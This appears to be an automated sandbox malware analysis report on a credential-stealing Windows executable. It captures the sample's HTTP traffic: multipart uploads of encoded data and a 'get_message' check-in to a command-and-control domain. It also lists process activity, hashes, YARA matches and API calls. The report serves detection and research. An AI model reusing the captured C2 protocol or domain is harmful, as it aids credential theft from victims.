2024-12-09 20:19:30 UTC	15331	OUT	Data Raw: 2d 2d 48 58 53 44 4d 59 55 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 33 41 41 30 46 38 35 39 45 39 31 34 32 41 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 48 58 53 44 4d 59 55 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 48 58 53 44 4d 59 55 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 48 58 53 44 4d 59 55 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --HXSDMYUBContent-Disposition: form-data; name="hwid"C3AA0F859E9142A123D904AF30EFEBBC--HXSDMYUBContent-Disposition: form-data; name="pid"1--HXSDMYUBContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--HXSDMYUBContent-Di
2024-12-09 20:19:30 UTC	15331	OUT	Data Raw: 67 0f d5 00 19 80 03 93 bd 48 f6 86 df 50 f0 ae 84 d5 1b 7a 79 08 4a 7d 54 f8 13 f5 27 5b 0d c1 6d a6 1b 39 82 f3 ef 12 35 31 71 88 ad f7 42 c9 a7 99 28 92 6b 97 e2 11 c6 43 5a dd 18 b2 3e 9d 11 46 46 87 4f 96 8d 61 56 cd 1a 14 a9 c4 e1 a1 ba 81 a4 31 66 42 5b 02 c7 33 ed ca 82 83 29 9d 9f a3 83 4c 14 a6 e8 a2 f8 a1 ef e8 68 d1 7b 46 db 17 51 30 0d 1a 5b dc 2e 4a dd 41 4d ab 0f 39 2a 40 78 07 12 03 f7 f0 a0 6d f4 f4 bf c6 14 5d 9c 0f 1f 95 06 5d f3 da c0 4e 5b cf 19 d1 30 89 12 29 5e 0a 00 91 fd b4 3f 7c 37 49 c7 a2 28 25 d5 c4 48 15 7b c6 3c 4b 84 3a bd aa c4 e4 45 eb 90 3b e8 60 1c e2 09 44 31 a5 17 1a 25 5f 2e a0 65 7f 4c a2 e1 bf 4e a8 72 da 54 b3 78 7c 2d e6 63 b0 76 69 93 0f 53 bf 45 f1 fd 19 07 5d b0 20 dd 9d c1 88 b9 fc 0f ff a3 32 7c a2 b0 46 bc Data Ascii: gHPzyJ}T'[m951qB(kCZ>FFOaV1fB[3)Lh{FQ0[.JAM9*@xm]]N[0)^?\|7I(%H{<K:E;`D1%_.eLNrTx\|-cviSE] 2\|F
2024-12-09 20:19:30 UTC	15331	OUT	Data Raw: 0b eb 88 2e 22 cc 9e 1f f7 af 2f bd 95 5a 56 b4 66 90 7b 8f 2f e2 dc c1 60 bb 73 4a 90 90 80 cc 70 27 35 32 f4 c2 97 b9 42 44 74 06 1a 05 81 b2 33 7b f3 34 70 04 21 92 1b 46 4a d8 59 82 aa 07 e7 d9 00 a9 70 f8 ed b2 5b 8e af 80 51 56 ef 19 05 0d 85 8b e7 86 ce bc f1 5a de be 72 6a b8 f4 c1 4c d9 0d 33 fd 81 bc 97 9c b0 9d 96 b9 3b 08 dd fb d9 6f 90 73 7f af 6f 3d fe 1c c6 e4 ee 49 d4 e8 27 6f 2e ac 9c c3 01 86 cb 6b 6e 2d a3 b9 75 7a 28 b0 dc 68 b6 14 d5 44 25 0d 33 10 cc 83 3d fe bc 3a 74 e8 97 ab 51 9a 7d 5f 40 a8 e3 40 8b d8 f3 d1 b6 ba e8 ef 42 c9 33 55 fa 09 7c 6f b4 2c 33 aa ff 45 87 5f d5 74 74 df f8 2e 1d ba 5e ae 8b 75 55 28 8e e4 73 64 56 46 bf 5f b3 72 e6 be 3a ab 31 86 7b ef 5e 13 71 27 7f 3c 5c b9 6d 08 83 7a 0e 96 c0 24 ad ce c0 d4 cf 53 58 Data Ascii: ."/ZVf{/`sJp'52BDt3{4p!FJYp[QVZrjL3;oso=I'o.kn-uz(hD%3=:tQ}_@@B3U\|o,3E_tt.^uU(sdVF_r:1{^q'<\mz$SX
2024-12-09 20:19:30 UTC	15331	OUT	Data Raw: d3 01 e9 70 a4 b9 1f cb a6 31 23 0d 83 cb 94 1b 8f b6 ef cb 99 33 ca 1d b2 ee bd 6a 18 c3 79 b9 57 dc f4 28 76 a4 b1 24 74 6a b3 80 48 4c 24 9a 1b d2 c9 b6 7d 19 b9 f4 6b 73 06 b9 cb 12 65 cd bb 1f 76 c5 22 5e 9b eb d7 62 c3 ce 3b ea 01 12 66 57 e2 d3 4c 82 95 67 14 46 9d 67 3a e7 64 6e e0 52 9f b6 40 57 76 a9 1a 52 93 f8 5c bf e9 b7 ff e8 bc 31 97 a6 83 3b 26 ab d7 0e f4 54 aa e2 6b ab 7d 68 e0 5e d2 c9 e2 d5 60 c3 5d 45 29 52 ed 9a 57 cd a1 3e 88 50 23 61 86 4b 43 30 9e 37 86 7b b3 b8 b3 19 83 39 df 3e 71 b3 09 db d8 98 87 a2 63 5a bf e7 2d f7 84 95 5e f4 de f6 49 53 16 ff f8 a1 6a f3 a6 af f8 58 da 43 48 bf 74 db f3 74 fa 53 23 3d b8 e2 12 f2 e9 9e ef 8a 38 e6 ea 49 d8 4d f7 5c e8 7f e1 68 d1 b7 c9 f6 ac f3 2d 1d d0 1a cf cb 11 af 3b 08 0c a1 90 70 db Data Ascii: p1#3jyW(v$tjHL$}ksev"^b;fWLgFg:dnR@WvR\1;&Tk}h^`]E)RW>P#aKC07{9>qcZ-^ISjXCHttS#=8IM\h-;p
2024-12-09 20:19:30 UTC	15331	OUT	Data Raw: 67 bb bf 9e 3e f9 4a 1c a4 7c 1a e8 57 a1 94 6f ec a1 eb 3f 0a 74 f7 6c 59 36 28 1c f8 30 d4 a3 23 7b 66 20 b0 3f e4 f6 61 1e 0c f7 e6 51 c9 99 b5 84 04 8e 44 6a be fc ae 5d 5c 60 8f 12 86 a1 b0 32 7d 90 ad aa 46 75 78 31 5f a5 fb 8c 27 29 f5 eb e3 ad 8c 7d 4e f8 fc 84 fc f8 af b2 84 05 c9 f9 92 da fe 5d fc bf e4 63 02 e9 86 ac d8 fa ad 39 1f e2 c3 85 c4 78 a3 1a 23 0f 74 47 57 5e ca bc 8b 0c 92 c0 9e fb 92 56 63 a0 2b 95 d8 6c 60 3b 53 fd 2c 34 19 8d c4 35 0f fb 37 16 99 60 d2 f3 37 c2 cd e4 42 e5 d6 b8 b9 26 d7 0b be ca 05 dd 3a fb 3c c2 43 af eb c3 6b 38 81 ae dc fe ce 6d a4 02 e3 4e 58 5b 3f 95 df 70 29 f8 4e 48 fa dc f5 36 95 57 37 0d ec 04 e5 de 7c 4f 68 3e 9e 8c f6 2c a4 a8 8e 1e 8e 50 cd 4a 88 ab 10 1d 83 56 04 d7 d4 e6 be bb aa 5e 63 5f 57 c3 bf Data Ascii: g>J\|Wo?tlY6(0#{f ?aQDj]\`2}Fux1_')}N]c9x#tGW^Vc+l`;S,457`7B&:<Ck8mNX[?p)NH6W7\|Oh>,PJV^c_W
2024-12-09 20:19:30 UTC	15331	OUT	Data Raw: b3 7c e0 60 e3 f4 9f 94 23 44 24 5b 23 b0 24 1d fd 7b fe 33 81 45 80 b9 cb ce 41 ff 42 7a 42 62 5e 0e 23 9c da 52 ba e5 53 81 17 ba 98 b2 2a 76 1f 53 96 b6 fc ac a1 94 24 27 43 9b e2 3a bf 3f bd 14 12 9c e6 33 34 90 e2 f0 85 1a 69 a2 55 b9 fc 45 67 14 85 f7 ac b7 05 f2 40 43 42 a3 3a 76 3b 53 7e 3c 51 a5 15 e7 31 70 b9 d5 3a c2 e7 32 2b 9f 4d dc 7c 87 75 21 0f db 85 de 35 81 d2 83 8b 72 0d 6d 51 46 3b ea 22 ea 1a 84 c2 68 90 83 aa 74 1b 96 04 8e 72 8c fc 53 e5 6a f5 0b 21 0b 7c fa b9 ec e8 63 a5 db 60 89 b1 3e 22 9b 2b 7f 20 9b 94 68 4e d6 e0 5d b6 37 fa 5a 7f 8f a9 5d 3c 3e 52 aa c8 f2 6e ae 10 1f ad 96 70 1d 92 bb 0a a5 37 73 b7 bb 18 e9 c5 7c b4 47 51 fa 5c 24 69 d0 c4 d9 68 39 26 98 18 cb 54 c2 30 54 7d 67 a0 b1 0c ac f8 b4 0d af 51 f1 53 45 8e 99 42 Data Ascii: \|`#D$[#${3EABzBb^#RS*vS$'C:?34iUEg@CB:v;S~<Q1p:2+M\|u!5rmQF;"htrSj!\|c`>"+ hN]7Z]<>Rnp7s\|GQ\$ih9&T0T}gQSEB
2024-12-09 20:19:30 UTC	15331	OUT	Data Raw: a9 b7 ae dc 0f 48 ae 4b c5 8f a3 14 2f d0 f7 5d c7 74 e3 5e 8c 7f f8 2b 68 e3 02 60 be 5d 88 28 df 1a df c8 13 f1 a1 9d 99 d6 0f f4 ec ce 30 de 19 ee dd b4 fa 2d 1f f3 a7 e0 08 66 e9 51 ae ff d8 95 0c 73 31 d7 9d ef a7 8b 35 c5 dd 1e 63 07 e2 20 e4 50 88 d4 dc 3f b7 4f 4a bd f4 25 60 90 23 37 ec f5 20 47 dd f9 56 42 ed c9 f4 54 11 33 41 56 e1 c8 c4 84 80 9a 5e 6b 12 ca fe 0e d7 fa c4 a1 8a ff 33 21 72 ab 33 de 15 31 ba 0b 7a 2a 77 7b 08 af c4 b1 69 97 7e e3 0a a6 da 5f 74 68 da 7c 6b 37 bd 0f 51 c2 b2 8b 5c 41 b3 95 bf 64 d3 48 36 e8 88 26 a0 61 14 f9 9c 22 50 ff 2f 08 63 fd eb 48 8c cf 2f 69 7f 97 c1 76 c3 05 fe 10 a9 fd 04 ab a7 b1 b2 c8 32 2f 00 4b 00 fc af f9 ce 66 cd 09 30 1d 41 08 42 b4 dd 9f 22 29 02 21 1d 01 47 a0 17 b7 70 b1 38 0d 41 88 36 0b 9a Data Ascii: HK/]t^+h`](0-fQs15c P?OJ%`#7 GVBT3AV^k3!r31z*w{i~_th\|k7Q\AdH6&a"P/cH/iv2/Kf0AB")!Gp8A6
2024-12-09 20:19:30 UTC	15331	OUT	Data Raw: 71 99 37 27 b4 7a a5 bc ed 36 a7 86 0a 17 c5 44 e7 4d de 7f 4f 8a 98 75 d1 65 9d 26 73 42 b9 e4 92 08 66 61 f1 ad c9 09 fe 10 cc e8 e3 35 3d e4 cf a0 8f ed da a7 22 3a eb 75 f3 46 a9 49 5e df 62 ca fa e3 e7 b1 6b 76 da 6c 2c f3 83 7c c3 b1 98 77 ae 96 b3 ba e6 a6 68 f2 73 4e c6 bb 6d 51 e3 8d 6c aa d8 1a 1c 00 07 f1 b2 03 e2 87 be 15 dc 94 50 dc 08 c7 20 19 31 e5 a9 34 b7 b9 34 47 84 d3 e5 9d 69 fb 09 6d a2 1f 02 50 9d e5 5a 96 5a 06 1c 55 03 c4 1f 44 83 2c c1 84 66 62 6e ac b1 86 6d 23 88 02 e5 20 f0 6a c2 f5 31 bf 67 a2 e1 8d bb 04 1f fe 9e 4a d8 28 cb 4b d8 3a 6e c7 d8 bc 9c 29 eb 11 c9 4e 9a c8 a6 79 d5 47 aa b1 13 f6 d3 50 28 ed 6f 54 38 ea 0d 69 77 63 98 fe 52 f2 37 aa 3a bb a3 b9 a8 f0 e5 63 ca 81 b2 fc 1d 12 5d c6 c7 62 ba 95 ad f4 78 c6 83 20 bf Data Ascii: q7'z6DMOue&sBfa5=":uFI^bkvl,\|whsNmQlP 144GimPZZUD,fbnm# j1gJ(K:n)NyGP(oT8iwcR7:c]bx
2024-12-09 20:19:30 UTC	15331	OUT	Data Raw: 78 50 c8 29 1d dd 21 78 c0 8d 12 7e f3 91 c7 07 a7 d8 85 6d 78 11 85 30 47 7e 96 99 43 7d 69 f0 d4 2d d4 86 aa d1 b6 bf d0 06 24 72 23 c9 23 0c 0d 62 55 78 22 3a 43 cc ea da 69 ab 4a f5 cb 97 a2 94 54 aa 49 2b d0 2f b3 f4 99 dc 7b ae 33 22 5d c1 c4 b8 88 d8 b8 d8 3b 87 d5 e4 9d 62 c5 66 25 97 10 82 53 96 c5 f1 1e 83 01 19 d9 b8 1d cc 4e 9d f4 7a 9d 88 b3 97 a8 fd 88 82 f6 7e 9c b7 07 df f4 cf 37 2b f4 1d cb 5a c9 d6 66 86 82 b6 93 d8 69 97 d7 b8 9d 55 6c ec b2 c4 df 77 cb 16 6b 6f 0f 89 b7 7a c4 25 b0 76 8f 2a 16 0a 0e 87 b8 f3 3e 9b 15 f0 17 cb c1 0f 6e 63 fa 8b 22 78 62 85 86 7f f9 ce cd 51 a2 ee 27 65 5a fe 43 4a 0a d1 e6 79 dd 1d c9 4e b3 e6 4b 62 3e a2 b7 ea 3e d5 62 d7 d5 97 79 92 98 e5 be 18 df 06 78 ec 97 c2 2b 83 33 73 f2 53 8a ef 66 b7 4b c5 e4 Data Ascii: xP)!x~mx0G~C}i-$r##bUx":CiJTI+/{3"];bf%SNz~7+ZfiUlwkoz%v*>nc"xbQ'eZCJyNKb>>byx+3sSfK
2024-12-09 20:19:30 UTC	15331	OUT	Data Raw: b0 ee fb c1 05 cd c4 d3 a3 25 59 8b 5a 8c c7 58 c4 1f f1 41 a7 86 5b d4 e5 be 23 17 9a ed 2f ef a7 a7 82 3a 45 2f 08 1e 7a 94 d0 2a 09 f4 2e 9c e2 03 8f e4 c3 0d f9 c1 ac c3 df ef a3 77 d0 bc f5 a8 27 0b 3c 21 d7 72 5a 7b 9b 6c c1 13 fe bc e2 a2 6d b8 d6 52 4c 08 12 f0 43 f9 3c 77 13 eb ef 7c 95 fd 7d 25 57 98 e6 36 04 08 41 98 f3 90 05 1a 3e c7 ae e7 90 2d 2d 23 74 ab b8 78 1a 4f 0f 8f 6e 94 e0 6c 1d 63 24 19 07 a6 f3 69 36 2a b4 ca 3c 4d 33 fc ea a8 48 ac 79 41 5f 7d e5 f6 ed e1 07 3e b6 5b 18 0b 02 fe 0d ec 5f 2c 57 75 fe 8f 01 94 dd 26 f0 e2 a9 cd cb 00 ee 14 68 d8 60 62 c8 db f0 6e 69 48 ab f8 ec 91 e7 31 a2 75 c6 78 25 1a f1 c4 27 dd db 8c 22 70 4b d1 5a 31 d8 cb 16 50 e2 47 14 61 a5 43 c1 0d 0a d0 86 18 56 1c 5c 57 4f cd b6 a6 64 07 31 ec fe f5 08 Data Ascii: %YZXA[#/:E/z.w'<!rZ{lmRLC<w\|}%W6A>--#txOnlc$i6<M3HyA_}>[_,Wu&h`bniH1ux%'"pKZ1PGaCV\WOd1
2024-12-09 20:19:34 UTC	1027	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:19:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pt8d1tops5n9995hh6dkoggshk; expires=Fri, 04-Apr-2025 14:06:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B97EnSw5fxx%2FxX3XbWdQKsKz%2FUNsXjP%2FuYc4fdIqCifB1TmcZ7K2gbbDjKnSzAGYtVxu9W6ggmpkPvdhlmI6TxrU5hG1v3Z7sKNKsx9qiaNxSpkJRna8v2%2F3dEEgvDAiXWcsDFk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7b0c64cfb7ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2148&min_rtt=1988&rtt_var=1066&sent=193&recv=570&lost=0&retrans=0&sent_bytes=2846&recv_bytes=552778&delivery_rate=892693&cwnd=243&unsent_bytes=0&cid=0ec46bf67d86d4ba&ts=3806&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49748	104.21.48.1	443	7536	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:19:35 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: atten-supporse.biz
2024-12-09 20:19:35 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 43 33 41 41 30 46 38 35 39 45 39 31 34 32 41 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=C3AA0F859E9142A123D904AF30EFEBBC
2024-12-09 20:19:36 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:19:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9mpmhc9b246pno8va9pap1149o; expires=Fri, 04-Apr-2025 14:06:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=it4snK1YAEZvZEzbJ89klDKqYygVEny8asdXYKpm1ugxr98iXxlXo2prcHdQm3%2FwINgVhH3i9uH%2FJx5D0SUoEmgVYWn9yMypbZLWycTBkzsoRxVYat4siozCjXn6Qom%2F221vWZI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7b0e77cea4231-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1549&min_rtt=1543&rtt_var=592&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=990&delivery_rate=1829573&cwnd=127&unsent_bytes=0&cid=463069535b50f09e&ts=751&x=0"
2024-12-09 20:19:36 UTC	214	IN	Data Raw: 64 30 0d 0a 4d 74 6b 37 4b 42 47 71 2f 69 63 41 6f 6e 56 6b 34 6a 57 38 4c 7a 4a 33 67 4c 44 66 6b 48 62 69 72 73 48 52 6e 62 44 70 67 30 42 70 6f 68 6c 64 4d 35 44 63 54 33 54 57 42 56 36 2b 47 75 41 41 41 30 2b 31 6e 75 32 68 51 38 79 66 38 4f 4b 7a 67 64 2f 66 62 31 32 2f 58 58 51 2b 7a 70 74 42 4c 73 63 4e 41 63 41 5a 6e 6b 6c 47 56 62 71 41 38 37 49 54 77 4a 54 77 72 4c 48 4c 79 2f 5a 69 43 50 74 54 58 47 58 61 78 48 73 76 2f 6c 70 56 32 67 43 53 48 51 4e 43 72 6f 48 75 6f 31 6a 54 6d 4a 33 2b 37 73 53 4d 34 69 31 75 39 6b 6c 4a 66 38 36 52 53 69 37 48 44 51 48 41 47 5a 35 4a 52 6c 57 36 67 50 4f 79 45 38 43 55 38 61 7a 41 0d 0a Data Ascii: d0Mtk7KBGq/icAonVk4jW8LzJ3gLDfkHbirsHRnbDpg0BpohldM5DcT3TWBV6+GuAAA0+1nu2hQ8yf8OKzgd/fb12/XXQ+zptBLscNAcAZnklGVbqA87ITwJTwrLHLy/ZiCPtTXGXaxHsv/lpV2gCSHQNCroHuo1jTmJ3+7sSM4i1u9klJf86RSi7HDQHAGZ5JRlW6gPOyE8CU8azA
2024-12-09 20:19:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	1
Start time:	15:19:14
Start date:	09/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb60000
File size:	1'858'560 bytes
MD5 hash:	2B86AAB9799FDB49D90E8D5C3F773C33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1376183185.000000000165F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1407499798.0000000001661000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1368467947.0000000001655000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1407422388.0000000001661000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1376160704.0000000001651000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1375174685.0000000001651000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1381675218.0000000001660000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1381633869.0000000001660000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1406129961.000000000165F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1369045879.0000000001655000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1367911637.000000000164F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:47:50
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	16:47:51
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1912,i,18367878757296781263,2772418614693256820,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	16:47:54
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x990000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:47:55
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1920,i,1634595659012258759,6139322719468599713,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	1

Executed Functions

Function 065474C8 Relevance: 4.6, APIs: 3, Instructions: 96
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 0654753C
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 06547563
GetNativeSystemInfo.KERNEL32(?), ref: 065475BA

Memory Dump Source

Source File: 00000001.00000002.1670503302.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: true

Associated: 00000001.00000002.1670429931.00000000063B0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670449842.00000000063B2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670477967.00000000063B6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670503302.00000000063BA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670503302.000000000664F000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670503302.000000000665E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670503302.0000000006660000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_63b0000_file.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 20cfb4498e62d9367bf54adf8f7f86010e7b850c532c4a9ef9df9ee49fa13795
Instruction ID: 871e0c899d95f8dbb3af07ad8d155f503bb4116d5a1fe0b310d05eaf8e02fc2c
Opcode Fuzzy Hash: 20cfb4498e62d9367bf54adf8f7f86010e7b850c532c4a9ef9df9ee49fa13795
Instruction Fuzzy Hash: DC41387140820E9FEF51EF24C849AEF37E9FF05314F01492AE98186941DB769DA4CF9A

Non-executed Functions

Function 06542424 Relevance: 1.4, Strings: 1, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

G/|, xrefs: 06542497

Memory Dump Source

Source File: 00000001.00000002.1670503302.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: true

Associated: 00000001.00000002.1670429931.00000000063B0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670449842.00000000063B2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670477967.00000000063B6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670503302.00000000063BA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670503302.000000000664F000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670503302.000000000665E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670503302.0000000006660000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_63b0000_file.jbxd

Similarity

API ID:
String ID: G/|
API String ID: 0-2831689219
Opcode ID: d246bdeb38ca1c5bb99c899bcae7a60cba9b36560723a03a7be68b424c923e4e
Instruction ID: d98c1c4545d5c39325b91a922b7ad2d33c9a62f6b11280df10fbaab3ae44c035
Opcode Fuzzy Hash: d246bdeb38ca1c5bb99c899bcae7a60cba9b36560723a03a7be68b424c923e4e
Instruction Fuzzy Hash: BD417AB7A1C131DFE78469299C1067AB695F784298F15C8AAF583DBB08E5704A0181D7

Function 06552752 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1670503302.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: true

Associated: 00000001.00000002.1670429931.00000000063B0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1670449842.00000000063B2000.00000040.00000800.00020000.00000000.sdmpDownload File
